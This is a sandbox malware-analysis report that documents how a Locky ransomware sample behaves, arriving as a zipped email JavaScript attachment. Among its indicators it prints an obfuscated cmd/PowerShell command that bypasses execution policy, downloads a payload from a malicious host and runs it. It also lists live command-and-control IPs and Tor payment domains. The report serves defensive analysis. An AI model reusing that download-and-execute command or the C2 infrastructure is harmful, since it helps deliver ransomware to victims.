Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for 'EMAIL_98089542916705

malicious

Threat Score: 100/100 AV Detection: 47% Labeled as: Trojan.Generic

EMAIL_98089542916705_rcook.zip

This report is generated from a file or URL submitted to this webservice on October 22nd 2016 07:11:29 (UTC) and action script Heavy Anti-Evasion
Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601), Service Pack 1
Report generated by Falcon Sandbox v5.30 © Hybrid Analysis

Overview Sample unavailable Re-analyze Hash Seen Before Show Similar Samples Report False-Positive Request Report Deletion

Incident Response

Risk Assessment

Ransomware: Changes the desktop background picture
Contacts a domain associated with Tor hidden services
Spyware: Accesses potentially sensitive information from local browsers
POSTs files to a webserver
Persistence: Spawns a lot of processes
Fingerprint: Contains ability to lookup the windows account name
Reads the active computer name
Reads the cryptographic machine GUID
Reads the windows installation date
Evasive: Executes WMI queries known to be used for VM detection
Network Behavior: Contacts 17 domains and 7 hosts. View all details

Additional Context

Related Sandbox Artifacts

Associated SHA256s: 7b870353dada7342ddf56a67da555b78aa54c9e6d4dff2163777ae75b808d3a2

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Malicious Indicators 15
Anti-Detection/Stealthyness
- Writes to a desktop.ini file (often used to cloak folders)
  
  details
  
  "eXe" wrote 67 bytes to file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\PQHTF1QU\desktop.ini" (Byte Offset: 0): [.ShellClassInfo]
  UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}
  
  "eXe" wrote 67 bytes to file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\8RONKGG2\desktop.ini" (Byte Offset: 0): [.ShellClassInfo]
  UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}
  
  "eXe" wrote 67 bytes to file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\HBYD8AA4\desktop.ini" (Byte Offset: 0): [.ShellClassInfo]
  UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}
  
  "eXe" wrote 67 bytes to file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q15V3B25\desktop.ini" (Byte Offset: 0): [.ShellClassInfo]
  UICLSID={7BD29E00-76C1-11CF-9DD0-00A0C9034933}
  
  source
  
  API Call
  
  relevance
  
  3/10
External Systems
- Detected Emerging Threats Alert
  
  details
  
  Detected alert "ET TROJAN ABUSE.CH Locky Payment Domain Detected" (SID: 2023329, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
  Detected alert "ETPRO TROJAN Locky CnC checkin Aug 03 2016" (SID: 2821471, Rev: 2, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
  Detected alert "ETPRO TROJAN Locky CnC checkin Aug 03 2016 M2" (SID: 2821569, Rev: 5, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
  Detected alert "ETPRO TROJAN Ransomware Locky CnC Beacon Oct 3" (SID: 2822473, Rev: 2, Severity: 1) categorized as "A Network Trojan was detected" (Backdoor, ransomware, trojans, etc.)
  Detected alert "ET POLICY PE EXE or DLL Windows file download HTTP" (SID: 2018959, Rev: 2, Severity: 1) categorized as "Potential Corporate Privacy Violation"
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  8/54 Antivirus vendors marked sample as malicious (14% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
Network Related
- Contacts a domain associated with Tor hidden services
  
  details
  
  "jhomitevd2abj3fk.onion.to"
  "jhomitevd2abj3fk.tor2web.org"
  
  source
  
  Network Traffic
  
  relevance
  
  9/10
- Malicious artifacts seen in the context of a contacted host
  
  details
  
  Found malicious artifacts related to "91.200.14.124" (ASN: 35804, Owner: PP SKS-Lugan): ...
  URL: http://91.200.14.124/apache_handler.php (AV positives: 1/68 scanned on 10/18/2016 03:08:15)
  File SHA256: 68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d (AV positives: 44/57 scanned on 10/21/2016 03:51:13)
  Found malicious artifacts related to "185.102.136.77" (ASN: , Owner: ): ...
  File SHA256: 68c53f0f091fcc898f5926e6d2fdeba5106bc995aab600f51339dbdec666808d (AV positives: 44/57 scanned on 10/21/2016 03:51:12)
  Found malicious artifacts related to "52.84.13.157" (ASN: , Owner: ): ...
  URL: http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1464&source=805&aff_sub=hienzo&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1264537739&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63442546%26instId%3D805%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1 (AV positives: 4/67 scanned on 06/27/2016 05:03:21)
  URL: http://get.ebiteblindl.club/http:/get.ebiteblindl.club/h_redir.php?offer_id=4&aff_id=1903&source=1720&aff_sub=0&aff_sub2=0&aff_sub3=0&aff_sub4=0&aff_sub5=1293282864&url=http%3A%2F%2Fget.ebiteblindl.club/offer.php%3FaffId%3D{aff_id}%26trackingId%3D63298322%26instId%3D1720%26ho_trackingid%3D{transaction_id}%26cc%3D{country_code}%26cc_typ%3Dho%26sb%3Dx86%26wv%3Dxpsp3%26db%3DInternetExplorer%26uac%3D1%26cid%3D6965702ab625dd49ea1db1c0cda15a00%26v%3D1 (AV positives: 4/67 scanned on 06/27/2016 04:58:50)
  URL: http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63438117&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 (AV positives: 4/67 scanned on 06/27/2016 04:58:44)
  URL: http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63439701&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 (AV positives: 4/67 scanned on 06/27/2016 04:57:46)
  URL: http://get.ebiteblindl.club/http:/get.ebiteblindl.club/offer.php?affId=1510&trackingId=63329523&instId=1029&ho_trackingid=1021117e8edc1825381eee3ea0ca0a&cc=FR&cc_typ=ho&sb=x86&wv=xpsp3&db=InternetExplorer&uac=1&cid=6965702ab625dd49ea1db1c0cda15a00&v=1 (AV positives: 4/67 scanned on 06/27/2016 04:53:56)
  File SHA256: 19708551d44ea88a99b0221ee54f0c95503204baef4ad722323467f9e513ab0f (AV positives: 38/57 scanned on 06/23/2016 04:48:56)
  File SHA256: df6793879bde70824a352cc743335ebeb52797b6f43f5697edc636f9a8a5b13b (AV positives: 1/57 scanned on 06/19/2016 18:20:35)
  File SHA256: ead965b1b90ef1a9ebcb71c42779eb6423f64a4aac078db14913eeb147eb7f8c (AV positives: 37/55 scanned on 06/19/2016 05:09:48)
  File SHA256: af8ca5b4b9faac819886396d800d32e898e0b361bae1e7f2dd27940485224c41 (AV positives: 10/56 scanned on 06/19/2016 05:08:53)
  File SHA256: e64ce178118414c7b42aff064fd13be15eb3e27a6f6ba71b723e0b0039f0d7ad (AV positives: 39/56 scanned on 06/19/2016 05:06:43)
  
  source
  
  Network Traffic
  
  relevance
  
  10/10
Ransomware/Banking
- Detected text artifact in screenshot that indicate file is ransomware
  
  details
  
  "m.,dz'_1rd,_omitevd2ab-3fk.tor2web.or" (Source: screen_4.png, Indicator: "tor2web")
  "decrypt" (Source: screen_4.png, Indicator: "decrypt")
  
  source
  
  String
  
  relevance
  
  8/10
Spyware/Information Retrieval
- Accesses potentially sensitive information from local browsers
  
  details
  
  "eXe" had access to "%APPDATA%\Microsoft\Windows\Cookies\index.dat" (Type: "FileHandle")
  "eXe" had access to "%LOCALAPPDATA%\Microsoft\Windows\History\History.IE5\index.dat" (Type: "FileHandle")
  
  source
  
  Touched Handle
  
  relevance
  
  5/10
Unusual Characteristics
- Contains ability to reboot/shutdown the operating system
  
  details
  
  ExitWindowsEx@USER32.DLL from PID 00002708
  ExitWindowsEx@USER32.DLL from PID 00000600
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  5/10
- Script connects to a host without prior DNS lookup
  
  details
  
  Process "eXe" connected to "91.200.14.124" (Port: 52045, Protocol: TCP) without a DNS lookup
  Process "eXe" connected to "185.102.136.77" (Port: 52046, Protocol: TCP) without a DNS lookup
  Process "eXe" connected to "91.200.14.124" (Port: 52047, Protocol: TCP) without a DNS lookup
  Process "eXe" connected to "185.102.136.77" (Port: 52048, Protocol: TCP) without a DNS lookup
  Process "eXe" connected to "91.200.14.124" (Port: 52049, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "54.210.161.120" (Port: 52061, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "104.101.209.66" (Port: 52062, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "52.32.150.180" (Port: 52063, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "72.21.91.29" (Port: 52064, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "52.84.13.157" (Port: 52065, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "192.122.185.121" (Port: 52066, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "216.58.192.174" (Port: 52067, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "192.122.185.123" (Port: 52068, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "52.33.248.56" (Port: 52069, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "72.21.91.29" (Port: 52070, Protocol: TCP) without a DNS lookup
  Process "firefox.exe" connected to "63.245.215.95" (Port: 52071, Protocol: TCP) without a DNS lookup
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
- Script file shows a combination of malicious behavior
  
  details
  
  The script produces internet activity is obfuscated and/or drops files
  
  source
  
  Indicator Combinations
  
  relevance
  
  7/10
- Spawns a lot of processes
  
  details
  
  Spawned process "wscript.exe" with commandline ""C:\BILL_4531.js"" (Show Process)
  Spawned process "cmd.exe" with commandline "/c p^oWer^sh^eLL.e^Xe ^-^eXecUtiOnPoLi^cY Byp^a^ss^ -^nO^PROFil^e^ -w^iNdOw^sty^Le^ hidd^en^ (New^-oBJect S^Ys^te^m^.^Net^.W^e^Bcl^I^ent).dO^w^nlOadfile(^'http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe');st^art^-p^R^Oc^eSs^ %APPDATA%\eXe" (Show Process)
  Spawned process "powershell.exe" with commandline "poWersheLL.eXe -eXecUtiOnPoLicY Bypass -nOPROFile -wiNdOwstyLe hidden (New-oBJect SYstem.Net.WeBclIent).dOwnlOadfile('http://www.injusticeil.top/user.php?f=2.dat','%APPDATA%\eXe');start-pROceSs %APPDATA%\eXe" (Show Process)
  Spawned process "eXe" (Show Process)
  Spawned process "eXe" (Show Process)
  Spawned process "cmd.exe" with commandline "/C del /Q /F "%TEMP%\sysE5A3.tmp"" (Show Process)
  Spawned process "helper.exe" with commandline "/SetAsDefaultAppUser" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  8/10
Hiding 4 Malicious Indicators
- All indicators are available only in the private webservice or standalone version

Suspicious Indicators 26
Anti-Detection/Stealthyness
- Sets the process error mode to suppress error box
  
  details
  
  "wscript.exe" set its error mode to SEM_NOOPENFILEERRORBOX
  "helper.exe" set its error mode to SEM_NOOPENFILEERRORBOX
  
  source
  
  API Call
  
  relevance
  
  8/10
Environment Awareness
- Reads the cryptographic machine GUID
  
  details
  
  "wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  "firefox.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
- Reads the windows installation date
  
  details
  
  "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
External Systems
- Detected Emerging Threats Alert
  
  details
  
  Detected alert "ET DNS Query to a *.pw domain - Likely Hostile" (SID: 2016778, Rev: 4, Severity: 2) categorized as "Potentially Bad Traffic"
  Detected alert "ET POLICY DNS Query to .onion proxy Domain (tor2web)" (SID: 2015576, Rev: 7, Severity: 2) categorized as "Potentially Bad Traffic"
  Detected alert "ET POLICY DNS Query to .onion proxy Domain (onion.to)" (SID: 2020116, Rev: 2, Severity: 2) categorized as "Potentially Bad Traffic"
  Detected alert "ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download" (SID: 2016538, Rev: 3, Severity: 2) categorized as "Potentially Bad Traffic"
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
General
- Contains ability to find and load resources of a specific module
  
  details
  
  LoadResource@KERNEL32.DLL from PID 00001264
  FindResourceExW@KERNEL32.DLL from PID 00001264
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- POSTs files to a webserver
  
  details
  
  "POST /apache_handler.php HTTP/1.1
  Accept: */*
  Accept-Language: en-us
  Referer: http://91.200.14.124/
  x-requested-with: XMLHttpRequest
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Cache-Control: no-cache
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
  Host: 91.200.14.124
  Content-Length: 561
  Connection: Keep-Alive" with no payload
  "POST /apache_handler.php HTTP/1.1
  Accept: */*
  Accept-Language: en-us
  Referer: http://185.102.136.77/
  x-requested-with: XMLHttpRequest
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Cache-Control: no-cache
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
  Host: 185.102.136.77
  Content-Length: 561
  Connection: Keep-Alive" with no payload
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
- Reads configuration files
  
  details
  
  "wscript.exe" read file "C:\Users\%USERNAME%\Desktop\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\Desktop\desktop.ini"
  "eXe" read file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\PQHTF1QU\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8RONKGG2\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HBYD8AA4\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q15V3B25\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D0YDZTO5\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QA0UPEJW\desktop.ini"
  "eXe" read file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S9Y0GKU4\desktop.ini"
  "helper.exe" read file "C:\Users\desktop.ini"
  "helper.exe" read file "C:\Users\%USERNAME%\Desktop\desktop.ini"
  "helper.exe" read file "%PROGRAMFILES%\desktop.ini"
  
  source
  
  API Call
  
  relevance
  
  4/10
Installation/Persistance
- Drops executable files
  
  details
  
  "gmpopenh264.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "Roaming.eXe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"
  
  source
  
  Extracted File
  
  relevance
  
  10/10
- Writes a PE file header to disc
  
  details
  
  "eXe" wrote 11776 bytes starting with PE header signature to file "%TEMP%\nsa2FE8.tmp\System.dll": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...
  "helper.exe" wrote 11264 bytes starting with PE header signature to file "%TEMP%\nsrDEA2.tmp\System.dll": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000d00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...
  "helper.exe" wrote 32768 bytes starting with PE header signature to file "%TEMP%\nsrDEA2.tmp\CityHash.dll": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000d80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...
  "helper.exe" wrote 4608 bytes starting with PE header signature to file "%TEMP%\nsrDEA2.tmp\AppAssocReg.dll": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000c80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...
  "helper.exe" wrote 4608 bytes starting with PE header signature to file "%TEMP%\nsrDEA2.tmp\ShellLink.dll": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000d80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...
  
  source
  
  API Call
  
  relevance
  
  10/10
Network Related
- Found potential IP address in binary/memory
  
  details
  
  "91.200.14.124"
  "185.102.136.77"
  Heuristic match: "?OpenH264 version:1.3.0.0"
  
  source
  
  String
  
  relevance
  
  3/10
Ransomware/Banking
- Changes the desktop background picture
  
  details
  
  "eXe" (Access type: "SETVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "WALLPAPERSTYLE"; Value: "30000000")
  "eXe" (Access type: "SETVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "TILEWALLPAPER"; Value: "30000000")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
Spyware/Information Retrieval
- Contains ability to open the clipboard
  
  details
  
  OpenClipboard@USER32.DLL from PID 00002708
  OpenClipboard@USER32.DLL from PID 00000600
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  10/10
System Destruction
- Marks file for deletion
  
  details
  
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nscDDF6.tmp" for deletion
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nsrDEA2.tmp" for deletion
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nsrDEA2.tmp\AppAssocReg.dll" for deletion
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nsrDEA2.tmp\CityHash.dll" for deletion
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nsrDEA2.tmp\ShellLink.dll" for deletion
  "%PROGRAMFILES%\Mozilla Firefox\uninstall\helper.exe" marked "%TEMP%\nsrDEA2.tmp\System.dll" for deletion
  
  source
  
  API Call
  
  relevance
  
  10/10
- Opens file with deletion access rights
  
  details
  
  "helper.exe" opened "%TEMP%\nscDDF6.tmp" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp\AppAssocReg.dll" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp\CityHash.dll" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp\ShellLink.dll" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp\System.dll" with delete access
  "helper.exe" opened "%TEMP%\nsrDEA2.tmp\" with delete access
  
  source
  
  API Call
  
  relevance
  
  7/10
System Security
- Modifies proxy settings
  
  details
  
  "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "wscript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "powershell.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "powershell.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "eXe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
  "eXe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
  "eXe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
- Queries sensitive IE security settings
  
  details
  
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
  "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
  
  source
  
  Registry Access
  
  relevance
  
  8/10
Unusual Characteristics
- Installs hooks/patches the running process
  
  details
  
  "powershell.exe" wrote bytes "8a9b0b94" to virtual address "0x6AB31FDC" (part of module "MSCORWKS.DLL")
  "powershell.exe" wrote bytes "92e6047779a80977be720977d62d09771de2047705a20977bee30477616f0977684107770050077700000000ad37b5758b2db575b641b57500000000" to virtual address "0x746A1000" (part of module "WSHTCPIP.DLL")
  "powershell.exe" wrote bytes "4053077758580877186a0877653c09770000000000bfd5760000000056ccd576000000007ccad57600000000376833756a2c0977d62d097700000000206933750000000029a6d57600000000a48d337500000000f70ed57600000000" to virtual address "0x759A1000" (part of module "NSI.DLL")
  "powershell.exe" wrote bytes "7739057779a80977be720977d62d09771de2047705a20977c868087757d10f77bee30477616f0977684107770050077700000000ad37b5758b2db575b641b57500000000" to virtual address "0x74BC1000" (part of module "WSHIP6.DLL")
  "powershell.exe" wrote bytes "0857e2750478eb750000000051c11c7794981c77ee9c1c7775dc1e77273e1e77efb222770000000046ced576013dd67638edd676cfcdd5763123d576de2fd676c4cad57680bbd57652bad5769fbbd57692bbd57646bad5760abfd57600000000" to virtual address "0x67E61000" (part of module "SHFOLDER.DLL")
  "eXe" wrote bytes "4d37d676f99cd57678ebd4761861d776fa8bd476d333d6760e45d676a41dd676d0d9d576e8d9d576013cd676e19cd5762b45d676b62fd6764123d57600bfd576000000006d42b07600000000ec22bf7699e5bc7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL")
  "eXe" wrote bytes "0857e2750478eb750000000051c11c7794981c77ee9c1c7775dc1e77273e1e77efb222770000000046ced576013dd67638edd676cfcdd5763123d576de2fd676c4cad57680bbd57652bad5769fbbd57692bbd57646bad5760abfd57600000000" to virtual address "0x6B271000" (part of module "SHFOLDER.DLL")
  "eXe" wrote bytes "c2000000" to virtual address "0x1000405C" (part of module "SYSTEM.DLL")
  "eXe" wrote bytes "92e6047779a80977be720977d62d09771de2047705a20977bee30477616f0977684107770050077700000000ad37b5758b2db575b641b57500000000" to virtual address "0x746A1000" (part of module "WSHTCPIP.DLL")
  "eXe" wrote bytes "4053077758580877186a0877653c09770000000000bfd5760000000056ccd576000000007ccad57600000000376833756a2c0977d62d097700000000206933750000000029a6d57600000000a48d337500000000f70ed57600000000" to virtual address "0x759A1000" (part of module "NSI.DLL")
  "eXe" wrote bytes "7739057779a80977be720977d62d09771de2047705a20977c868087757d10f77bee30477616f0977684107770050077700000000ad37b5758b2db575b641b57500000000" to virtual address "0x74BC1000" (part of module "WSHIP6.DLL")
  "helper.exe" wrote bytes "e19cd576f99cd57678ebd47600bfd576fa8bd4761861d776d333d6760e45d676e74bd776e8d9d576eba8d576013cd6764d37d6762b45d676b62fd6764123d576d0d9d576000000006d42b0760000000099e5bc76ec22bf7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL")
  "helper.exe" wrote bytes "0857e2750478eb750000000051c11c7794981c77ee9c1c7775dc1e77273e1e77efb222770000000046ced576013dd67638edd676cfcdd5763123d576de2fd676c4cad57680bbd57652bad5769fbbd57692bbd57646bad5760abfd57600000000" to virtual address "0x6B041000" (part of module "SHFOLDER.DLL")
  "helper.exe" wrote bytes "002100000c2100001a210000282100003421000040210000000000005c210000000000007421000000000000" to virtual address "0x006D2000" (part of module "RPCSS.DLL")
  "helper.exe" wrote bytes "c2000000" to virtual address "0x10004020" (part of module "SYSTEM.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
- Reads information about supported languages
  
  details
  
  "wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  "firefox.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
Hiding 8 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version

Informative 25
Anti-Reverse Engineering
- Contains ability to register a top-level exception handler (often used as anti-debugging trick)
  
  details
  
  SetUnhandledExceptionFilter@KERNEL32.DLL from PID 00001264
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
Environment Awareness
- Contains ability to query machine time
  
  details
  
  GetSystemTimeAsFileTime@KERNEL32.DLL from PID 00001264
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Contains ability to query the machine version
  
  details
  
  GetVersionExA@KERNEL32.DLL from PID 00001264
  GetVersionExA@KERNEL32.DLL from PID 00001264
  GetVersion@KERNEL32.DLL from PID 00002708
  GetVersion@KERNEL32.DLL from PID 00000600
  GetVersionExW@KERNEL32.DLL from PID 00000600
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Contains ability to query volume size
  
  details
  
  GetDiskFreeSpaceW@KERNEL32.DLL from PID 00002708
  GetDiskFreeSpaceW@KERNEL32.DLL from PID 00000600
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  3/10
- Executes WMI queries
  
  details
  
  "firefox.exe" issued a query "SELECT * FROM Win32_BIOS0"
  
  source
  
  API Call
  
  relevance
  
  10/10
- Possibly tries to detect the presence of a debugger
  
  details
  
  GetProcessHeap@KERNEL32.DLL from PID 00001264
  GetProcessHeap@KERNEL32.DLL from PID 00001264
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
General
- Contacts domains
  
  details
  
  "www.injusticeil.top"
  "ciscobinary.openh264.org"
  "dsybuxulplscgeonv.xyz"
  "yitmxwhryykuuj.click"
  "taulmkeuktvxhe.xyz"
  "tyoycmkymaty.pl"
  "jhomitevd2abj3fk.onion.to"
  "udynanrpxqbxrosop.click"
  "jrhkejh.click"
  "ovpgfkt.info"
  "www.torproject.org"
  "jbajudsmkrurhnyu.pl"
  "jdptstkrjiowdqvgi.pw"
  "jhomitevd2abj3fk.tor2web.org"
  "en.wikipedia.org"
  "pccwuntpqx.click"
  "efympeet.xyz"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contacts server
  
  details
  
  "172.245.9.41:80"
  "91.200.14.124:80"
  "185.102.136.77:80"
  "52.32.150.180:443"
  "52.84.13.157:443"
  "192.122.185.121:443"
  "192.122.185.123:443"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contains PDB pathways
  
  details
  
  "wscript.pdb"
  
  source
  
  String
  
  relevance
  
  1/10
- Creates a writable file in a temporary directory
  
  details
  
  "helper.exe" created file "%TEMP%\nsrDEA2.tmp\System.dll"
  "helper.exe" created file "%TEMP%\nsrDEA2.tmp\CityHash.dll"
  "helper.exe" created file "%TEMP%\nsrDEA2.tmp\AppAssocReg.dll"
  "helper.exe" created file "%TEMP%\nsrDEA2.tmp\ShellLink.dll"
  
  source
  
